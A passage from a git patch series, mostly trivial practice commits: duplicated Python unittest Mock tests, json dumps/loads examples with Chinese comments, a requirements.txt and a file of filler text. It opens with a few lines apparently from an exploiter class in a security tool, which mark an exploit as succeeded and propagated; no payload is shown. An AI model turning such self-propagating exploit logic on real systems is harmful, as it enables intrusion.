potential_urls: + if self.exploit(url, command): + self.add_executed_cmd(command) + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True + break finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() From e4df492bf3218257893681f718a14d60435d93e6 Mon Sep 17 00:00:00 2001 From: wutao Date: Mon, 10 Oct 2022 13:34:44 +0800 Subject: [PATCH 18/28] =?UTF-8?q?=E6=B5=8B=E8=AF=95=EF=BC=9A=E6=8F=90?= =?UTF-8?q?=E4=BA=A4=E4=BB=A3=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- zmtest04/test_mock.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 zmtest04/test_mock.py diff --git a/zmtest04/test_mock.py b/zmtest04/test_mock.py new file mode 100644 index 000000000..90467c5ac --- /dev/null +++ b/zmtest04/test_mock.py @@ -0,0 +1,21 @@ +import unittest +from mock import Mock + + +def VerifyPhone(): + ''' + 校验用户手机号 + ''' + pass + + +class TestVerifyPhone(unittest.TestCase): + + def test_verify_phone(self): + data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}} + VerifyPhone = Mock(return_value=data) + self.assertEqual("success", VerifyPhone()["msg"]["result"]) + print('测试用例') + +if __name__ == '__main__': + unittest.main(verbosity=2) From 8fa97b674e70102aceb1408a254233d1a2b63542 Mon Sep 17 00:00:00 2001 From: wutao Date: Mon, 10 Oct 2022 13:36:32 +0800 Subject: [PATCH 19/28] =?UTF-8?q?=E6=B5=8B=E8=AF=95=EF=BC=9A=E6=8F=90?= =?UTF-8?q?=E4=BA=A4=E4=BB=A3=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- zmtest05/test_mock.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 zmtest05/test_mock.py diff --git a/zmtest05/test_mock.py b/zmtest05/test_mock.py new file mode 100644 index 000000000..90467c5ac --- /dev/null +++ b/zmtest05/test_mock.py @@ -0,0 +1,21 @@ +import unittest +from mock import Mock + + +def VerifyPhone(): + ''' + 校验用户手机号 + ''' + pass + + +class TestVerifyPhone(unittest.TestCase): + + def test_verify_phone(self): + data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}} + VerifyPhone = Mock(return_value=data) + self.assertEqual("success", VerifyPhone()["msg"]["result"]) + print('测试用例') + +if __name__ == '__main__': + unittest.main(verbosity=2) From 863c39c333e2130af8702254bb1838bb8f27e1ec Mon Sep 17 00:00:00 2001 From: wutao Date: Mon, 10 Oct 2022 13:40:54 +0800 Subject: [PATCH 20/28] =?UTF-8?q?=E6=B5=8B=E8=AF=95=EF=BC=9A=E9=87=8D?= =?UTF-8?q?=E5=A4=8D=E6=8F=90=E4=BA=A4=E4=BB=A3=E7=A0=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- zmtest05 - 副本/test_mock.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 zmtest05 - 副本/test_mock.py diff --git a/zmtest05 - 副本/test_mock.py b/zmtest05 - 副本/test_mock.py new file mode 100644 index 000000000..90467c5ac --- /dev/null +++ b/zmtest05 - 副本/test_mock.py @@ -0,0 +1,21 @@ +import unittest +from mock import Mock + + +def VerifyPhone(): + ''' + 校验用户手机号 + ''' + pass + + +class TestVerifyPhone(unittest.TestCase): + + def test_verify_phone(self): + data = {"code": "0000", "msg": {"result": "success", "phoneinfo": "移动用户"}} + VerifyPhone = Mock(return_value=data) + self.assertEqual("success", VerifyPhone()["msg"]["result"]) + print('测试用例') + +if __name__ == '__main__': + unittest.main(verbosity=2) From e1017fc84adc7ffd39246b9cc8d3994b620b5a47 Mon Sep 17 00:00:00 2001 From: p31829507 Date: Mon, 10 Oct 2022 14:38:31 +0800 Subject: [PATCH 21/28] Add test_dumps --- test_dumps | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 test_dumps diff --git a/test_dumps b/test_dumps new file mode 100644 index 000000000..7962d70a8 --- /dev/null +++ b/test_dumps @@ -0,0 +1,13 @@ +import json +data = { + 'name' : 'myname', + 'age' : 100, +} +# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. +# dumps 将python对象字典转换为json字符串 +json_str = json.dumps(data, separators=(',', ':')) +print(type(json_str), json_str) + +# loads 将json字符串转化为python对象字典 +pyton_obj = json.loads(json_str) +print(type(pyton_obj), pyton_obj) \ No newline at end of file From 8fc6898da1ddb89e32b511e2e153809c2e0a316f Mon Sep 17 00:00:00 2001 From: p31829507 Date: Mon, 10 Oct 2022 14:39:32 +0800 Subject: [PATCH 22/28] Add test_dumps.py --- test_dumps.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 test_dumps.py diff --git a/test_dumps.py b/test_dumps.py new file mode 100644 index 000000000..7962d70a8 --- /dev/null +++ b/test_dumps.py @@ -0,0 +1,13 @@ +import json +data = { + 'name' : 'myname', + 'age' : 100, +} +# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. +# dumps 将python对象字典转换为json字符串 +json_str = json.dumps(data, separators=(',', ':')) +print(type(json_str), json_str) + +# loads 将json字符串转化为python对象字典 +pyton_obj = json.loads(json_str) +print(type(pyton_obj), pyton_obj) \ No newline at end of file From a314a482e0ae5744acfde3b7cbaceafca1821363 Mon Sep 17 00:00:00 2001 From: p34709852 Date: Mon, 10 Oct 2022 14:48:05 +0800 Subject: [PATCH 23/28] ADD file via upload --- c/test_dumps.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 c/test_dumps.py diff --git a/c/test_dumps.py b/c/test_dumps.py new file mode 100644 index 000000000..aab84d61d --- /dev/null +++ b/c/test_dumps.py @@ -0,0 +1,13 @@ +import json +data = { + 'name' : 'myname', + 'age' : 100, +} +# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. +# dumps 将python对象字典转换为json字符串 +json_str = json.dumps(data, separators=(',', ':')) +print(type(json_str), json_str) + +# loads 将json字符串转化为python对象字典 +pyton_obj = json.loads(json_str) +print(type(pyton_obj), pyton_obj) \ No newline at end of file From 68b731c01e55afce0c54749c428fbf15a50b1e5c Mon Sep 17 00:00:00 2001 From: p34709852 Date: Tue, 11 Oct 2022 11:24:10 +0800 Subject: [PATCH 24/28] ADD file via upload --- test_dumps01.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 test_dumps01.py diff --git a/test_dumps01.py b/test_dumps01.py new file mode 100644 index 000000000..aab84d61d --- /dev/null +++ b/test_dumps01.py @@ -0,0 +1,13 @@ +import json +data = { + 'name' : 'myname', + 'age' : 100, +} +# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. +# dumps 将python对象字典转换为json字符串 +json_str = json.dumps(data, separators=(',', ':')) +print(type(json_str), json_str) + +# loads 将json字符串转化为python对象字典 +pyton_obj = json.loads(json_str) +print(type(pyton_obj), pyton_obj) \ No newline at end of file From 4dbbff6f3ba8c65d0f10f641d2cfca1c33be5b28 Mon Sep 17 00:00:00 2001 From: p34709852 Date: Tue, 11 Oct 2022 11:38:07 +0800 Subject: [PATCH 25/28] ADD file via upload --- test_dumps03.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 test_dumps03.py diff --git a/test_dumps03.py b/test_dumps03.py new file mode 100644 index 000000000..aab84d61d --- /dev/null +++ b/test_dumps03.py @@ -0,0 +1,13 @@ +import json +data = { + 'name' : 'myname', + 'age' : 100, +} +# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. +# dumps 将python对象字典转换为json字符串 +json_str = json.dumps(data, separators=(',', ':')) +print(type(json_str), json_str) + +# loads 将json字符串转化为python对象字典 +pyton_obj = json.loads(json_str) +print(type(pyton_obj), pyton_obj) \ No newline at end of file From 84b451dd953d3c5af2cf74d77ea6cffa1cb0d1ba Mon Sep 17 00:00:00 2001 From: p34709852 Date: Tue, 11 Oct 2022 11:41:34 +0800 Subject: [PATCH 26/28] Add requirements.txt --- requirements.txt | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 requirements.txt diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 000000000..e7e6c837e --- /dev/null +++ b/requirements.txt @@ -0,0 +1,8 @@ +allure_python_commons==2.8.17 +jsonpath==0.82 +loguru==0.5.1 +pandas==1.1.5 +PyMouse==1.0 +pytest==6.2.5 +pywin32==301 +selenium==3.141.0 \ No newline at end of file From 052ad2989c50a7b6893f3ec4ab1e87c98d60b87c Mon Sep 17 00:00:00 2001 From: p15670423 Date: Tue, 11 Oct 2022 11:50:19 +0800 Subject: [PATCH 27/28] Update test_dumps03.py --- test_dumps03.py | 14 +------------- 1 file changed, 1 insertion(+), 13 deletions(-) diff --git a/test_dumps03.py b/test_dumps03.py index aab84d61d..882f8ef67 100644 --- a/test_dumps03.py +++ b/test_dumps03.py @@ -1,13 +1 @@ -import json -data = { - 'name' : 'myname', - 'age' : 100, -} -# separators:是分隔符的意思,参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符,把:和,后面的空格都除去了. -# dumps 将python对象字典转换为json字符串 -json_str = json.dumps(data, separators=(',', ':')) -print(type(json_str), json_str) - -# loads 将json字符串转化为python对象字典 -pyton_obj = json.loads(json_str) -print(type(pyton_obj), pyton_obj) \ No newline at end of file +print('1111') \ No newline at end of file From 9cbf0b9b76efd41ddc672bb18931aeb53c9c5607 Mon Sep 17 00:00:00 2001 From: p34709852 Date: Tue, 11 Oct 2022 13:40:38 +0800 Subject: [PATCH 28/28] ADD file via upload --- test03.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 test03.txt diff --git a/test03.txt b/test03.txt new file mode 100644 index 000000000..2cb1bce11 --- /dev/null +++ b/test03.txt @@ -0,0 +1 @@ +双方都是的方法烦烦烦烦烦烦 \ No newline at end of file